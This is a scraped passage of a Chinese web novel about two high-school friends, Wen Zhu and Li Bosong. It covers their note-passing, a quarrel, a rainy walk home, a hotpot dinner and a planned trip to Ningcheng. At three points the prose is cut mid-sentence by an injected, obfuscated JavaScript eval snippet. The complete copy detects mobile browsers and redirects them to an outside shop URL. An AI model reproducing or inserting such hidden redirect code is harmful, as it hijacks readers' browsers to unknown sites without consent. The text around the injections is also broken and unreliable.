比赛还有两分钟开始,李泊松看着闻竹蹲下紧了紧鞋带,问:“谁先?” “我先,”闻竹毫不犹豫地答道,“最后一棒你来。有你给我托底,我觉得安心。” “嗯,”李泊松笑笑,“那我就给你托底。” 52. 小吵怡情 十一假期后的晚课是数学,上半节一直在考试,课间放了二十分钟的周杰伦。下半节课老师在讲台前坐着批卷子,大家照例上自习。 运动会刚开过,又放了个小长假。由俭入奢易由奢入俭难,饶是尖子生也都有些收不回心。铃打响后的几分钟内大家依然很躁动,偶尔有低音量说话的声音,老师批半张卷子就抬头瞥他们一眼。 在这种环境下,闻竹头都不抬,笔下生风地在纸条上写着什么,写完之后她把那张团过几次的纸再次团起来,扔给旁边的李泊松。在李泊松拆纸条的时候,一只手从他身后伸过来,拽走了那张纸。 两人同时吓了一跳,不用回头就知道是谁来了。 岩姐的动作幅度并不大,但周围一圈感觉到她气息的同学都恨不得把脑袋埋进卷子里写题,班级也肃静下来,一时间呼吸可闻。谁都没想到岩姐今天竟然没走,不但没走,还没穿高跟鞋,走路悄无声息的,打了个措手不及。 做了亏心事自然怕鬼敲门,但李泊松刚刚心跳漏的那拍纯粹就是因为惊讶。身后突然伸过来一只手好像鬼片一样,放在谁身上能不害怕? 他轻呼吸了几下,很快就缓过神来了,旁边的闻竹抬头看了眼岩姐拆纸条的动作,心里的起伏比湖面的起伏还小,不过她自己在心里反思了一下,觉得如果早知道岩姐会看到那个纸条,她就应该注意一下自己和李泊松说话的措辞。 孟丽岩是个负责任且经验丰富的老师,这毋庸置疑,她在近二十年的教学生涯中见过无数早恋的学生,因为早恋耽误成绩甚至前途的也不胜枚举,她知道闻竹和李泊松从小就认识,因而不至于太敏感,但不管怎么说,两个孩子都长得一顶一地好,还是尖子生,再加上这么深的感情基础,产生点别的情愫再正常不过了。 上课写纸条有错在先,岩姐拆开纸条,眯着眼睛看了几眼,却没看到几个汉字。纸条上密密麻麻的都是数学公式。他们两个的字都漂亮,但风格不同,李泊松写字大开大合,笔画舒展大气,闻竹的字清秀飘逸,都字如其人。 从这张皱皱巴巴的纸条上能看得出因为这道题两人讨论了好几轮,可以说是热火朝天,最初谁也没说服谁。在纸条最下边,闻竹写道:你看错了,那个角是ABO不是ABD,你是放个假放傻了么^_^ 孟丽岩有点想笑,但是忍住了。 她放下纸条在心里感叹,有时候友情也好爱情也罢,只要是十七八岁的年纪,任何情愫都是纯粹美好的,如同明镜一般的湖。 - 上个月的这个时候大家还在抱怨炎热的天气,明明时令已是秋天,却还热得像盛夏,半点没有秋高气爽的气氛。最近几天周围的人却纷纷换上了秋季校服,里边套着卫衣,闻竹上周末甚至穿了长风衣。 她一直认定临城没有秋天,事实也的确如此,穿棉服的日子马上就来到了。 闻竹下楼准备去敲李泊松家门的时候,天已经擦黑了。 她一面走,一面漫无边际地想着,如果现在是夏天,这会儿太阳都还没落。从夏时令到冬时令,白昼短、苦夜长。等到昼长夜短的时节再次来到,他们就要走进高考的考场了。 时间真是快啊。 秋天的傍晚不似夏天那般热闹,多少有些萧索。金黄的落叶铺了满地,踩上去有沙沙声,楼下打牌的和在车库坐着乘凉聊天的人们都不见了踪影。闻竹拎着几块小蛋糕,慢悠悠地在小区里晃荡。 她走之前发过消息,李泊松刚回复,说让她先别去了,他马上要出门。 闻竹想着,自己都已经走到这里了,那就上去吧,他说一会儿出门,那现在大概率是还没出去。 她能察觉到李泊松最近情绪不好,具体来说是在十一假期后开始的。明明就放了五天假,这人回来后却一幅没什么精神的样子。她她还特意去问过毕雨泽有没有发现李泊松不太对劲,毕雨泽这傻子一问三不知,闻竹觉得自己就不该开这个口。 李泊松这人装惯了,真有事的时候也不喜欢和人倾诉,要不是闻竹太熟悉他,估计也是毫无所觉。 她手里的蛋糕是闻灿拿来的。 闻灿学校门口新开了一家蛋糕店,味道特别好,兴冲冲地给闻竹订了很多,上次到这边看她的时候拎了过来。闻竹这种甜食至上主义者非常喜欢,甜而不腻,像李泊松这种不太爱吃甜的人应该也会喜欢。加上上一次芝士焗香芋的情谊,闻竹就也想给他送一些。 她上了楼,楼道里的小窗户开着,能听到外面风吹树叶的簌簌声。前两天下了场难得的秋雨,楼道里一直有风,早晚的凉意顺着裤腿往上钻。 走到李泊松家门口的时候,四层的声控灯亮了起来,她眯了下眼睛,发现门虽然关得紧,但锁孔里插着一把钥匙,上边那个钥匙扣还是今年端午时她送的一个小粽子挂件。 “搞什么,”她嘟囔了一句,走到门前拔下了钥匙,像往常一样敲门。 咚咚咚,然后停下。 李泊松没让她等太久就打开了门,早晚温差大,他已经套上了长款风衣,一副马上就要出门的样子。李泊松本就是行走的衣架子,风衣这种怎么穿怎么好看的衣服到他身上更是有型,闻竹很少见到把风衣穿得这么像样的男生,男模似的,就没忍住多看了几眼。 没等她开口说话,李泊松一伸手把她拉进了房间里,嘴上还说着“外边冷,赶快进来”。 门在两人身后关上,凉意通通被隔绝在外,闻竹抱着胳膊瞧了他一会儿,先夸了一句:“今天挺帅的。” 还没等李泊松高兴,她马上就说:“帅是用脑子换的吧,丢三落四。” 说着,手伸出来,食指上挂着的钥匙晃荡了两下,那只小粽子上画着的笑脸刚好对着李泊松。 “我忘了,”男生有些惊讶,又有些无奈:“我本来都要走了,找钥匙生生找了两分钟,原来是忘记拔了……” 他接过钥匙揣进兜里,侧身让了让,朝闻竹笑:“进来坐会儿吧。” 距离上次剪头发已经过去了将近半年,闻竹的头发可以扎一个不大的丸子头了,屋子里因为主人要出门没有开灯,在李泊松的视角看,发着光又毛茸茸的。 “进什么呀,你不是要走?”闻竹歪了下脑袋,说:“你该干嘛干嘛去,我回家写题了。” 李泊松笑了下,没说话。闻竹说回家,也迟迟不动。最后还是李泊松沉不住气,他挑眉,意有所指道:“闻竹同学,你准备什么时候把拎着的东西给我?” “……”闻竹把另一只手的袋子往前送了送,说:“闻灿买的,特意让我带给你。” 李泊松没和她客气,接过之后看了眼袋子上的标识,勾唇笑了笑:“替我谢谢妹妹。” 闻竹发出了一个单音节:“哦。” 她和李泊松很像,却又不一样,李泊松偶尔想得多、但不会找人倾诉,闻竹大多数时候一根筋,有话习惯直说,只有在关心人的时候别别扭扭,和上次一样,明明担心他的状况,却东扯西扯一堆,只是想过来陪一下他。 但既然李泊松要出门,那就不需要她陪了,按照以往,闻竹一定心如止水地走了,但今天,她不知道在较什么真,她想,李泊松又遇到什么事情了,他为什么不愿意和她倾诉一下,还是说他有其他的倾诉对象啊? 李泊松看她一会儿,好笑道:“想什么呢?” “没事,”闻竹敛了情绪后退一步,“一起下楼吧。” 李泊松反手关了门,把钥匙和手机一起塞进风衣的大兜里。两人走下楼梯。 一场秋雨一场凉,一推开单元门,迎面而来的风扑了他们一脸。 闻竹偏头打了个喷嚏,眼前是飞落的叶子。这么短的距离,她觉得冷不到哪里去,穿了件薄的卫衣就出了门,现在看来真是有些失算。李泊松不着痕迹地动了下身子,帮她挡住风。 刚想说话的时候手机在兜里响了,李泊松收回那些絮絮叨叨,示意闻竹自己要接下电话,他说:“你快点回家,别感冒了。” 闻竹吸吸鼻子,看了眼自己从上到下没有一个兜的穿搭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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借着这股冲动的劲儿,她终于把压在心里很久的话说了出来。这些话在心房一角,原本已经落了灰。 本是一时嘴快,看到李泊松有些受伤的表情闻竹也很难过,但仔细想来,这话的确是必须要说的。她无比清楚自己想和李泊松做一辈子的好朋友,那就不能有任何隔阂。 感情经不起任何隔阂。 李泊松了解闻竹,能听出她的未尽之意,他扯了扯嘴角,试图解释道:“你别这么想,我很需要你,但是我……” “但是你什么,”闻竹接了句话就后悔了,逼他不是她的本意,她心里也不想让李泊松觉得不开心。 电话铃声又不合时宜地想起,闻竹扯了下唇角,说:“好了,又打电话催你了吧,这事以后再说吧。” “就今天说。”李泊松很着急。 他们两个以前不是没吵过架拌过嘴,闻竹说过任何情绪都不能带到第二天,及时解决问题才不会影响感情,他记住了。 闻竹把袖子扯出来,觉得他们两个难得吵个架吵得像情侣一样,别扭又烦,扯出来之后却又觉得自己的动作有些过激,她软下语气,温和道:“我冷,我先回去了。” 李泊松二话不说脱掉了自己的风衣想把她罩住。 “不用……我……”闻竹微微叹了口气,“我没有多想,等你想说的时候再说吧,我就是不想你什么事情都憋在心里。” “我知道,”他垂眸看着闻竹,睫毛振翅欲飞,这样子让闻竹有些心软。之后两人并肩走下台阶。李泊松轻声问她:“你别不开心,我会告诉你的。” 闻竹叹了口气,她自己都不知道这气从何处来,又为何如此来势汹汹。 “云姨来接你了?”她刚刚和李泊松挨得近,听到了电话里的内容。 李泊松“嗯”了声:“快了。” 走到闻竹家门口,他把人推进单元门里,看到了远处他妈妈的车。 “我走了,谢谢妹妹的蛋糕。” “那我呢?”闻竹站在楼道暗处,抱着胳膊面无表情地看他。 “也谢谢你——”他笑了下:“回家吧,外面冷了,明天多穿点。” 在闻竹走进单元门后,不远处的一辆白色奔驰发出了一声刺耳的喇叭声。 53. 友达以上 李泊松把兜里的烟盒扔进了垃圾桶,垂眸拉开了副驾驶的车门,在系安全带时叫了声“妈”。 车里空调吹着徐徐暖风,云莹转头看着儿子的侧脸,觉得一段时间不见就恍如隔世。 她视线后移,看向后座的一个礼盒,说:“你生日的时候妈妈在国外,生日礼物补给你,在后边,送你回来的时候记得拿着。” “嗯,”男生笑笑,“谢谢。” 他的反应本是无可挑剔的,云莹却皱了下眉头,到底还是什么都没说。 李泊松和她不亲,这无可厚非。 “泊松,你真的不考虑搬过来和妈妈一起住吗?” 云莹不是拖泥带水的性子,做事也雷厉风行,偶尔有些说一不二的气势。这次在直入主题前还进行了一些铺垫,让李泊松觉得有些意外。 “我和你闫叔叔去年在怡苑买了套房子,我们准备搬过去,离一中很近,走路十几分钟,妈妈可以去接你放学。” 李泊松原本还在皱眉,听到这真情实感地笑了下:“妈,放学堵车,你开车接我到家得半个多小时,算啦。” 云莹没懂这句“算啦”是什么意思,她觉得有些亏欠这个儿子,想尽力弥补,于是更加努力地晓之以理动之以情:“你搬过来,阿姨可以给你做早饭,家务也不需要你做。” “过去两年都是我自己做的,其实我自理能力还不错。” “但高三了,学习比前两年要忙很多吧。” 李泊松说“还好”,“不耽误什么。我成绩也还不错。” 闻竹之前就和程栩说过,李泊松这人看着一副好说话的样子,但他决定的事情谁也改变不了,此时眼前就是一条死胡同。 “你不想过来和我们住?”云莹叹了口气,还是说:“我是你在这个世界上最亲的人。” 李泊松没做任何反驳:“从血缘上看确实是。” 其实他妈妈并没有什么对不住他的地方,他爸离开得太突然,那时候云莹刚生完孩子不久,顾不上他。李泊松对此没有半点怨言,他知道自己也不该有什么怨言。 后来他住进了姑姑家,程初夏读大学、比赛,一年都不怎么在家里,姑姑和姑父倒是把他当亲生的孩子,但李泊松自己身上的界限感丢不掉。他姑姑年初的时候因为工作原因需要出国一年,他不好意思打扰姑父一个人。恰好云莹问他要不要到她身边去住,李泊松答应了。 但他到底没有和他妈妈住在一起,而是在学校对面自己租了房子。 于他而言,姑姑和姑父的情义难忘,但在他爸去世后,他自己住在四季学府早出晚归地上学、不厌其烦地刷题、和朋友们在一起的时刻是最舒服的。 晚高峰有些堵车,前面车辆的刹车尾灯一闪一闪地晃人眼睛,车子里音响没开,一片寂静。李泊松终于开口打破了僵局:“妈,我从来都不怪你,你也没有亏欠我,所以不需要补偿什么。” 云莹想说话,张了张嘴却不知道该说什么好。 “在别人家里没有归属感,我也不想拎着行李箱漂来漂去的。”他说完后想了想,补充了句:“我搬过去的话,你也要多考虑很多,你不用惦念我,我过得很好。” 八十秒的红灯变绿了,云莹发动车子汇入另一片车流,她想起了刚办完离婚手续的时候。 那时候的李泊松还不大,心思也很单纯,站在门口问她能不能多回去看看。她当时一心想要换一种生活,并没有把这话当回事。 周围的建筑多多少少发生了变化,日升月落亘古不变,时间已经过去了七八年。 “我刚才又看到闻竹了,她越来越漂亮了。”云莹换了个话题。 李泊松顿了顿,“嗯”了声:“她没怎么变。” 云莹轻踩刹车,之后偏头看他一眼,欲言又止。 “想吃什么?” 李泊松认真地想了想:“火锅。” - 自习课,岩姐去会议室开会了,班级里很安静。天气渐渐冷了下来,窗上浮着早晚的秋霜。 上次两人争执过后,他们还没把那个话题捡起来,闻竹觉得他们根本说不清楚,那还不如不说,沉疴难去。李泊松确实还没想好,他要把自己完完整整地展示给一个人看吗? 想得多了,答案反而少了。 闻竹并不催他,她只在意李泊松是否高兴。只要他开心起来,发生什么其实是无所谓的。 岩姐不在班级,大家都在低着头忙活,路一杭在讲台前坐着,面朝他们。 李泊松下笔生风,大半节课就唰唰地写完了桌上的卷子。他用了半分钟的时间收拾卷子、喝了水,然后知错不改,写纸条骚扰同桌。 闻竹在写最后一道数学大题,眼前的那张演算纸已经写满了,她迅速地在桌格里摸索一番,没找到多余的,于是拆开李泊松的纸条用背面继续算题。 李泊松这人挺大方,上课传纸条还用了一张新的A4纸。 他从头到尾围观了闻竹的动作,眼底含着浅淡的笑意,又把自己那一沓演算纸拿出来往她那边推了推,闻竹觉得一道题用不上这么多,于是又用两根手指推了回去。 三四分钟后,那道题终于被她做出来了,在揉手腕的空档中,闻竹简单地捋了一遍思路,最后把眼前写满了公式和符号的纸翻过去。 上面劲峭的笔迹写着:今天好冷,多少度? 闻竹掀了下眼皮,没理他的废话,在纸上画了个大脑袋小人,小人撑了把伞,头大风也大,伞被吹得东倒西歪,周围还添了几笔斜着的雨丝和传神的风扫落叶。 纸巾传回到李泊松手里,李泊松写道:哦,还有雨啊!你带伞了没有? 闻竹拿起笔,这次画了两个小人,两个大脑袋的□□小人撑着一把伞,两个人都被雨淋湿了。 李泊松翻来覆去地看了好几遍,笑得不行。 路一杭看了他们两眼,在讲台上清了清嗓子,李泊松觉得自己可能笑得有点太荡漾了,于是整理了一下自己的表情。他偏头看闻竹,她的一小缕碎发随着低头的动作扫下来。从侧脸看上去,她的情绪没因为路一杭这一声咳嗽产生半点波动。 被他盯了半分钟,闻竹也是有知觉的,她敲了下李泊松的桌子,忍无可忍地压低声音道:“有完没完了,晚课是语文,你文学常识复习了吗?” 李泊松被她训得愣了下,下课铃响了,闻竹觉得他简直没救,和曲思嘉一起朝食堂走过去。下楼梯的时候李泊松走在她后边不远处,闻竹听着他和别人聊天的声音,想到自己今早换了把大一些的伞的决定非常有先见之明。 天气预报准得让人意外。 第一节晚课的时候外面是静谧的黑夜,难得的几粒星子点缀在夜空中,看起来风平浪静,和平时无异。快放学时,这种静谧最先被风声打破。狂风呼呼作响,刮得树枝乱颤,过了一会儿,雨丝就毫不客气地拍打在了窗棂上。 “这雨白天攒着,就等放学的时候下。”铃声打响后,路一杭往窗外看了眼,颇为闹心地吐槽了一句。 李泊松笑了声。 毕雨泽已经回归校园一个多星期了,他体格好,恢复得快,虽说行动暂时还没有那么灵活,但是也活蹦乱跳的了。闻言,他拍了下路一杭的胳膊,说道:“小路你骑车来的吧?我姐接我,一起走啊!” 路一杭一个“不”字还没说出口,毕雨泽接到了他姐的电话,说已经到南门了,停在那家米线店附近,毕雨泽答了两句就挂断了电话,挂断前又和他姐说捎几个朋友一路,姐姐非常爽快地答应了。 路一杭:“行,那就谢谢姐了。” “……”毕雨泽无语了一瞬,转眼看向闻竹和李泊松。他们两个都是本身很重视边界感的人,只觉得出门走几步就进小区的距离不需要麻烦别人。毕雨泽知道他们两个要拒绝,揽了下李泊松的肩膀:“走吧,客气什么!你们两个有伞?” 李泊松点头:“闻竹有。” “闻竹有,闻竹有……”毕雨泽用不同的语气重复了两遍才怒道:“那你怎么这么自然地觉得是你有?” 李泊松回头看了眼,闻竹在和曲思嘉说话,于是他用很欠揍的语气说:“因为我们两个关系好啊。” 等闻竹走过来,李泊松就换了副面孔,矜持了很多。毕雨泽福至心灵,心说就算自己是傻子也看出他这是怎么回事了…… 他们四个人撑了两把伞。闻竹和李泊松一把,路一杭柜子里有一把,毕雨泽和他两个一米八以上的男生对一起撑一把伞这事很是嫌弃,于是毕雨泽自己撑那把伞,路一杭披着原本为骑车准备的雨衣。 曲思嘉走之前给路一杭的形象做了点评:像个大侠。 曲思嘉走学校后门,他们四个走正门,李泊松撑着伞,闻竹抱着书包走在他旁边。雨滴落在柏油路面上,像玻璃球一样弹起来,砸在伞面上会发出一阵清脆的噼里啪啦的声音。 闻竹看着穿线珠子似的雨从伞面滑落,不知不觉中盯了很久,李泊松也不讲话,安静地走在她身边。一场秋雨一场凉,秋雨下多了,温度自然骤降。她打了个短促的喷嚏,把李泊松的注意力吸引了过去。 “你感冒了?” “没有,”她皱了皱鼻子,开玩笑地说:“不知道是谁想我。” 李泊松很惊讶地看了她一眼:“你什么时候这么迷信了?” 闻竹偏头想了想:“就刚才啊。”她顿了顿,说:“这话准不准?” 李泊松被她逗笑了,点头:“准吧。” “嗯?你想我什么呢?” “我想……”他说了两个字后顿了一会儿,闻竹不知道后边这话是接着说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493614|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是他耍赖换了话题,“周末请你吃饭啊?” “……”闻竹觉得他或许是有话想说,应道:“看我有没有空。” 李泊松挑眉,故意道:“请你吃饭还得排队啊。” 闻竹:“嗯,对。” 李泊松点头:“行,那我先拿着号码牌。” 高三和高一高二是分批次放学的,因而升入高三后,他们清静了不少,放学也方便了很多,校门口的秩序晚十几分钟就截然不同,下雨有些堵车,毕雨泽她姐姐应该是来得很早,停在了离校门口非常近的地方。 从这里到四季学府的后门只需要三到五分钟,车从这一锅粥一样的校门口开出去五分钟是一定不够的,但毕雨泽盛情邀请了,李泊松和闻竹就索性去打个招呼。 说来也巧,这阵雨就在刚放学的几分钟里下得最紧,现在明显地小了下来,毕雨泽和路一杭进到车里后,闻竹和李泊松撑着伞,弯腰和驾驶座上的姐姐打招呼。 他姐姐之前在外地读书,今年夏天刚毕业回临城,她看起来是御姐型的、很理智很聪明,和毕雨泽不太像。在心里转过这么个念头后,闻竹和她简单地聊了几句,李泊松打了个招呼就站在旁边当壁花,给闻竹撑着伞。 他看着闻竹耳际因为动作晃动的发丝,心想闻竹在熟悉的人面前惜字如金,在不熟的人那儿倒是很健谈。正想着,闻竹忽然转头看他,她刚才聊天聊得开心了,对李泊松挺灿烂地笑了下:“走了。” 李泊松于是弯下腰,对着车窗内挥了下手。他明显感觉到雨又大了些,校门口的车行驶得并不快,车轮轧过之后都会激起很高的水花。 雨刷器敬业地运作着,毕雪莹打了转向半分钟后,寻了个机会把车子拐进主干道。她开着车,先是和路一杭聊了几句天,之后又谈起了闻竹,她说自己喜欢这个小姑娘。 “哦,”毕雨泽并不意外,“闻竹,我朋友。”他想了想补充道:“她好像是挺招女生喜欢,同性缘挺好的。” “嗯?”毕雪莹说:“异性缘不好吗?我都喜欢。” “……”他姐喜欢各种帅哥美女,这事毕雨泽早就见怪不怪了。他无语道:“你的喜欢也太草率了啊,你才和她说几句话?就因为她长得好看?” 毕雪莹哼了声:“眼缘嘛,这是个很玄妙的东西。” “那李泊松呢?帅哥你不看?” “啊?”她回忆了一下,道:“他长得确实很好,但是,你这两个朋友不是情侣么?我看别人的男朋友干嘛?” “哈?”毕雨泽震惊得下巴都往下掉,“姐你怎么看出来的?” “真的啊??”毕雪莹笑了声,“我料事如神呗。” 毕雨泽顿了顿才说:“假的。” 毕雪莹:“……”她的眼神穿过后视镜瞪他:“你诓我?找打。” “也没有,他们两个的关系大概是那种‘没有在谈胜似在谈’吧。” “哦,”毕雪莹点点头,回答刚才的问题:“那个女孩叫……闻竹是吧,我们两个说话的时候她身边的男生一直给她撑着伞,然后……你不是谈过恋爱吗,你知道看喜欢的人什么眼神吧?” “哦,对……啊??”毕雨泽反应了一会儿才嗫嚅道:“你说什么呢……” “我说你谈过恋爱,”等红灯的时候,前面红色的刹车灯连成了线,车窗的雨幕被雨刷器扫开,毕雪莹重复了一句后,偏头纳闷道:“谈就谈呗,你都能告诉妈,为什么瞒着我?” 毕雨泽心说,还不是因为你太八卦。 毕雪莹问完后也不在意他的回答,转而去和路一杭聊天了。 闻竹和李泊松走在红色的砖石路上,雨打湿了李泊松的白鞋,她听到男生在耳边半开玩笑地絮絮叨叨,对自己穿了这双刚刷过的鞋产生了无比后悔的情绪。 李泊松问:“你怎么穿了双黑鞋?”闻竹一周七天,七天都习惯穿白鞋。她耸耸肩:“我知道今天下雨。” 她在晃动的雨幕中想到了小学时他们两个一起跳水坑的幼稚事,在躲过一个水坑后抬眸看着李泊松。李泊松被她盯得愣了下,弯弯眼睛问她怎么了,闻竹就摇头。 她想起旁边的男生在很长一段时间里都是和自己一样高的,已经记不清从什么时候开始,他像抽条的柳树一样长到了现在身高腿长的样子,也不知道是从什么时候有女孩子开始给他递情书。 他骨节分明的手指握着伞柄,晃动在闻竹耳边,闻竹往他身边靠过去,两个人的胳膊蹭在一起。 这有点超过社交距离的界限了,李泊松不但不反感,还很享受这种感觉,他有些惊讶于闻竹会凑得这么近。 “你别学雷锋了,这伞够大。”闻竹伸手扯了下他的袖子,抬头看了眼明显朝她这边倾斜的伞面,视线最后定在他脸上。她又说:“你离我近一点。” 54. 鸳鸯火锅 闻竹周六回了趟家,周日上午才回到四季学府。李泊松昨天就发微信约她吃饭,在闻竹刷卡进小区时又问了一遍。这样一来,拿着号码牌的李泊松得到了和闻竹同学共进午餐的机会。 那天之后,他们两个没有大吵一架,也没有冷战,但他忍受不了和闻竹之间有任何嫌隙的日子,有话就想早早说清,忍一会儿都像心上有蚂蚁在爬。 既然是请人吃饭,那就一定要投其所好。闻竹吃得不算多,喜欢吃的也就那么几样,最后两人选择一起吃秋冬之交的第一顿火锅。 十一月,时令其实还是秋天,但温度已经达到了开春以来的最低,陈青最近刚结束一个重要项目,昨天终于得了空和朋友逛街,拎回了好几个装了冬装的袋子,闻兴阳送闻竹回四季学府的公寓时也把家里的过冬衣物给她带了一些。 “这么冷的天,就应该吃火锅。” 火锅店里热气腾腾,闻竹拒绝了服务员姐姐的帮忙,自己用勺子拨弄着虾滑。李泊松觉得她手法很娴熟,于是托着下巴,欣赏她的动作,嘴上应着:“你夏天的时候说,这么热的天,就应该在空调房里吃火锅。” 闻竹点点头,朝他笑:“正解。” 这种活泼可爱版本的闻竹难得一见,李泊松被逗得弯了下唇。闻竹很公平地把虾滑下进辣锅和番茄锅里,李泊松结果空盘子和瓷勺放在一边,听到闻竹说:“喂,你看我的眼神怎么这么慈祥,像在看女儿。” …… 两个人对视几秒后,李泊松先败下阵移开了目光。 锅里的汤骤然沸腾滚烫起来,冒着烟的鸳鸯锅让人有种熨帖的幸福感。 闻竹拆开一次性围裙套在衬衫外面,李泊松看着她反手在自己的颈后扎蝴蝶结,说道:“我以为这几天你都不会理我。” 她喝了口果汁,看着对面的男生拿着勺子在捞鸭血,觉得这话听起来莫名有些茶里茶气的,于是反问他:“不理你就能解决问题了吗?” 李泊松很有眼力见地给她把果汁倒满,闻竹好险就偏头笑出声了。 她不擅长冷战,冷暴力解决不了半点问题,只能把问题无限期的延后,变成自己待完成的课题。但凡事有因有果,解铃还须系铃人,她要看看今天李泊松怎么解释。 李泊松叹了口气,把上周末发生的事原原本本地说了一遍。闻竹听得认真,还礼尚往来地给他捞了一勺子鸭血,最后才问:“你说不搬过去,云姨怎么说?” “我妈这人很犟的,她下次还是会来找我说这些。” 闻竹心说你也是这样,你们母子挺像的。 李泊松坦诚地说了这些,闻竹也不藏着掖着,她直言道:“云姨前段时间找过我。” 这话让李泊松动筷子的手停顿了下,他妈妈找闻竹,无非就是看得出他们两个关系好。他垂下眼睫,过了会儿才似是不在意地问:“嗯,我妈找你什么事?” “就是你现在想的这件事。” 李泊松放下了筷子。 闻竹心里是偏向李泊松的,这毋庸置疑。在一个人打心底偏心另一个人的时候,遇到有关他的事会自然而然地从他的角度出发。闻竹当时说的话和上半年给程栩的答复一样——完全尊重李泊松的决定,不会去劝说什么。 意思是这么回事,但她话说得比较委婉,说自己劝不动,还是叫云莹去和李泊松本人商量。 这件事发生后,闻竹想了想李泊松抗拒的原因,其实很简单,他不喜欢这种寄人篱下的生活。在姑姑家也好,在妈妈家也罢,说到底都不是他的归宿,他是外来客,是打扰的人。 闻竹试探道:“你是不是觉得,云姨那儿还不如四季学府的这套公寓更像家?” 李泊松很诚实地点头:“我一直觉得我妈是女强人,能力强又能干,但她也不是无所不能的,我搬过去她会很难办,我也不希望和他们之间产生什么矛盾,很麻烦。” “至于那个烟盒……抽烟是高一那年学会的,但我没有瘾,那天是觉得心烦。我知道你不喜欢,我不会再抽了。” “我没有因为这个生气。” 这事归根结底只是个导火索,他们之间一直暗流涌动,早完要吵这么一场才能把话说清。 他在烟火气中抬起一张笑脸,眼角的痣灵动、好似藏着很多故事。他问对面的闻竹:“我下周末要回宁城一趟,你要不要去玩?” “嗯?” 闻竹缓缓眨了下眼睛,消化着他的话。她在辣锅里捞麻辣牛肉,把它放进调好的麻酱碟里滚了几圈。她抬眼看过去,觉得李泊松有些紧张,目光落在她身上,仿佛能烫出一个洞来。 “可以拒绝。”他笑。 李泊松的视线穿过朦胧的雾气,他的话音还没落,就在一片热闹中听到闻竹说“好啊”。 她的语气轻松得不像是答应了朋友要去三百公里外的城市,而是放学等他一会儿这种简单的请求。她就这么答应了,李泊松措手不及,张了张嘴什么也没说。 闻竹是那个游刃有余的人。她悠悠地给自己倒了西柚汁,轻松地岔开了话题:“我在宁城转过机,其实也和没去过没什么大区别吧。那儿有什么好玩的地方么?” 李泊松点点头:“有,我可以带你去吃那三年里所有我喜欢的店。” 闻竹“哦”了声,质疑道:“你这种见一个爱一个的性格,没有半个月吃不完吧?” “我什么时候……” 天降一口大锅扣在了他头上,李泊松本想反驳,思考了一下却发现自己确实吃到了很多念念不忘的店,一时间没话说了。 “怎么突然想回去?”闻竹没有再逗他,认真问。 “忽然想起那边有些重要的东西没拿过来。”还想带你去我生活了三年的地方看看。这话他没说出口。 服务员路过,李泊松伸手帮忙敛了几个空盘,看着闻竹的眼睛试探着问她:“你真的想去吗,不是不好意思拒绝我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“也不是,不是说你们这么大的男孩和女孩之间没有单纯的友谊,你妈妈我也读过高中,知道无论什么时候都会有真诚的友谊存在,这都是很美好的感情。不过,如果毕雨泽叫你陪他去宁城,你会去吗?” “……”一想到毕雨泽,闻竹“嘶”了声,又些无法想象那个场景。她的伶牙俐齿在她妈妈面前半点都发挥不出来,说了句“妈你好好看电视吧”就起身回房间了。陈青喊她:“这周末我有空,送你们去呀?” “不,不要。”闻竹立刻拒绝,她又说:“妈,你别在他面前这么问啊,他会多想。” 陈青懒得纠正她的称呼了:“知道,我哪儿是那么八卦的人。” 闻竹沉默了一瞬后赶紧逃离现场。 陈青在看剧的间隙往女儿房间的方向瞥了一眼,发现她关门的动作快得几乎要夹到衣摆了。 回到房间后,闻竹的手机震动了一声,她打开微信,看到李泊松的消息。 【L:我们算不算是和好了?】 闻竹心说这个傻子,又想起刚刚陈青的话,手很重地打字回复他。 【一支竹子:看我心情。】 李泊松却一副很开心的样子。 【L:好,那我买票了!】 …… 55. 计划打乱 两人说好了周末一早出发去宁城,李泊松已经买完了高铁票,然而计划永远追不上变化,打乱原本行程的理由有时候想都想不到。 十一月初,立冬,正是吃热腾腾食物的好时候。这个周末,闻竹他们一家人都休息,闻兴阳把闻竹奶奶接了过来,一家人煮了饺子,又在院里架起了铜火锅。 对于闻竹自己来说,铜火锅其实不如海底捞和鸳鸯锅,但是烟雾缭绕中自有一种热气腾腾的氛围。 可就是这种氛围,让她差点进了医院。 大家意思着吃了饺子后就围在火锅边捞虾和酸菜,酒足饭饱后大家坐在客厅聊天喝茶,闻竹也一起坐着,和奶奶聊聊天。奶奶早就说她说要回四季学府那边,姥姥很舍不得,叫她留在这边住。 老太太半真半假地埋怨她:“你明天又不上学,回去做什么?” 早些年因为和她爷爷之间的那些隔阂与奶奶关系疏远,前段时间敞开心扉后才亲密些。闻竹从小没感受过这种隔辈的亲情,听了这话也舍不得挪地方了,但票买的是七点多的,行李又都在四季学府那边,明早要起大早,实在是不方便。 她只好解释道:“奶奶,我明天和我同学去临城一趟,车票是早晨的,在这住天不亮就得走了,您这不马上就睡了嘛,不差这一会儿的,我过段时间就去看你。” 其实原因还有一个,她这周末需要做的卷子,再加上需要修订的,合起来得有小半本练习册了,明天回来在写大概率是来不及的。现在还不到七点钟,回去之后能学好几个小时。 姥姥问:“去宁城啊,坐高铁去吗?得多久呀?” 闻竹说:“两个小时就到了,很快的。” 又聊了一会儿后,她扶着姥姥上楼睡觉,之后抱着家里的猫猛吸一阵,背上包走了。临走之前在玄关,陈女士递给她的一个挺精致的餐盒,说是给李泊松带的饺子。 “猪肉芹菜馅的,泊松以前最喜欢这个了,你不知道吧。” 闻竹无奈地笑了:“妈,这都几点了,他肯定吃过了啊。” 